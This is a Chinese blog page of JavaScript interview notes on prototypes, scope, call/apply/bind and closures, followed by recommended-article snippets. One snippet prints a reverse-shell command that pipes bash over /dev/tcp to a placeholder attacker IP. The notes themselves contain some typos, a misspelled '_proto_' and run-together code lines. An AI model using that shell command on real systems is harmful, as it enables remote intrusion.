原型和原型链:

题目,知识点,解答;

1.如何准确地判断一个变量是数组类型

2.写一个原型链继承的例子

3.描述new一个对象的过程

4.zepto(或其他框架)源码中如何使用原型链。

知识点

构造函数:

构造函数-扩展

原型规则和示例:

原型链:

instanceof:

构造函数:

 function Foo(name,age){
this.name = name
this.age = age
this.class = 'class-1'
}
var f = new Foo('Zhang','20')

构造函数-扩展:

原型规则和示例:

5条原型规则,原型规则是学习原型链的基础

1.所有的引用类型(数组,对象,函数),都具有对象特性,即可自由扩展属性(除了,null,意外)

2.3.所有的引用类型(数组,对象,函数),都具有一个_proto_(隐士原型)属性,属性值是一个普通的对象,直接指定他的构造函数的prototype属性值,直接指向他的构造函数的

prototype类型属性值。

4.所有的函数,都有一个prototype(显示)属性,属性值也是一个普通的对象。

5.当试图得到一个对象的属性值时,如果这个对象本身没有这个属性,那么会去他的__proto__(即他的构造函数的prototype)中寻找。

循环对象自身的属性

原型链:

作用域和闭包:

范围:一段<script>或者一个函数

全局:变量定义,函数声明。

函数:变量定义,函数声明,this,arguments

全局声明:就是把变量的声明都放到前面去。

call,apply,bind:

  fn()

        function fn1(name,age){
alert(name)
console.log(this)
}
fn1.call({x:100},'zhangshan',20) var fn2 = function (name,ag){
alert(name)
console.log(this)
}.bind({y:200})
fn2.call({x:100},'zhangshan',20)

作用域链:

在自己的下的小函数体内没有,去上一级作用域找没有在去上一级查找,这个叫作用域链。

        //块级作用域
var name
if(true){
name = 'zhangshan'
}
console.log(name) // //作用域,a是一个全局作用域
var a = 100;
function fn(){
var b = 200
console.log(a) //自由变量
console.log(b)
}
fn() //作用域链
var a = 100
function f1() {
var b = 200
function f2(){
var c = 300 console.log(a)
console.log(b)
console.log(c)
}
f2()
}
f1()

闭包:

闭包的使用场景

函数作为一个返回值(返回上一个demo)

函数作为参数传递(自己思考)

function F1(){
var a = 100
return function () {
console.log(a) //自由变量,父作用域寻找
}
}
var f1 = F1()
var a = 200
f1()
//函数作为返回值
//函数作为参数传递
function F1(){
var a = 100
return function () {
console.log(a) //自由变量,父作用域寻找
}
}
var f1 = F1()
function F2(fn){
var a = 200
fn()
}
F2(f1)

闭包的总结:

变量的提升:变量的定义,函数的声明

说明this的几种不同使用场景:作为构造函数的执行,作为普通函数的执行,call,Apply ,bind

作用域和闭包的解题代码:

js面试总结2的更多相关文章

  1. 前端js面试中的常见的算法问题

    虽说我们很多时候前端很少有机会接触到算法.大多都交互性的操作,然而从各大公司面试来看,算法依旧是考察的一方面.实际上学习数据结构与算法对于工程师去理解和分析问题都是有帮助的.如果将来当我们面对较为复杂 ...

  2. js 面试的坑

    JavaScript事件属性event.target <!DOCTYPE html> <html> <head> <meta charset="UT ...

  3. Vue + Js 面试宝典

    https://github.com/rohan-paul/Awesome-JavaScript-Interviewshttps://github.com/nieyafei/front-end-int ...

  4. 46、VUE + JS 面试宝典

    https://github.com/rohan-paul/Awesome-JavaScript-Interviewshttps://github.com/nieyafei/front-end-int ...

  5. 一些js面试高频知识点的总结

    第一部分:Object Prototypes (对象原型) (1)定义一个方法,要求传入一个string类型的参数,然后将string的每个字符间加个空格返回,例如: spacify('hello w ...

  6. [译]Node.js面试问与答

    原文: http://blog.risingstack.com/node-js-interview-questions/ 什么是error-first callback? 如何避免无休止的callba ...

  7. javascript笔记——js面试问题

    1:javascript中的变量提升(先使用再声明,js中的函数也存在函数提升) 2:js中的事件捕获和事件冒泡(是两个相反的过程) 3:js中的动画队列(比如animate动画没有在点击的时候阻止正 ...

  8. 【Javascript】搞定JS面试——跨域问题

    什么是跨域? 为什么不能跨域? 跨域的解决方案都有哪些(解决方法/适用场景/get还是post)?  一.什么是跨域?       只要协议.域名.端口有任何一个不同,就是跨域.           ...

  9. js 面试知识点

    基础           原型  原型链 作用域  闭包 异步  单线程 JS API        DOM操作 AJAX 事件绑定 开发环境    版本管理 模块化 打包工具 运行环境    页面渲 ...

  10. JS面试题目

    哪些地方会出现css阻塞,哪些地方会出现js阻塞? js的阻塞特性: 所有浏览器在下载JS的时候,会阻止一切其他活动,比如其他资源的下载,内容的呈现等等.直到JS下载.解析.执行完毕后才开始继续并行下 ...

随机推荐

  1. css3 鼠标悬停图片动画

    <div class="grid"> <figure class="effect-milo"> <img src="im ...

  2. 笔记49 在Spittr应用中整合Hibernate

    在前边构建的Spittr应用中整合Hibernate 由于最近所学的hibernate都是使用xml方式进行配置的,所以在与以Java方式配置的Spittr应用结合时就会出现一些小问题,在此进行总结. ...

  3. 几种数据类型的常用API

    数字 int() 字符串 #==========join===========在字符串前后插入字符 li = 'alexericrain' new_li = '_'.join(li) print(ne ...

  4. git删除远程服务的文件夹

    首先查看当前分支:git branch -a 删除缓存的idea:git rm --cached -r .idea 提交gitiginore文件,将.idea从源代码仓库中删除(-m 表示注解):   ...

  5. 初始化css样式

    html,body,div,ul,li,ol,a,input,textarea,p,dl,dt,dd{margin:0;padding:0;} ul li{list-style: none;} a{t ...

  6. thinkphp入口文件

    ThinkPHP采用单一入口模式进行项目部署和访问,无论完成什么功能,一个应用都有一个统一(但不一定是唯一)的入口. 应该说,所有应用都是从入口文件开始的,并且不同应用的入口文件是类似的. 入口文件定 ...

  7. GdiPlus 一个给 Delphi 提供的新的 GDI+ 接口很好用!

    尽管 GDI+ 已经有近 10 年的历史(随 Win2000 推出), 尽管 DirectX 如日中天, 但在 Windows 7 之前的版本下进行 2D 绘图还是离不开它, 微软也没有停止对它的升级 ...

  8. 各种反弹shell的总结

    linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...

  9. NX二次开发-UFUN拉伸函数UF_MODL_create_extruded2

    NX9+VS2012 //NX二次开发中常用拉伸函数为UF_MODL_create_extruded2,但是此函数不能拉伸片体, //想要拉伸片体用函数UF_MODL_create_extruded. ...

  10. Core Text 入门

    本文所涉及的代码你可以在这里下载到 https://github.com/kejinlu/CTTest,包含两个项目,一个Mac的NSTextView的测试项目,一个iOS的Core Text的测试项 ...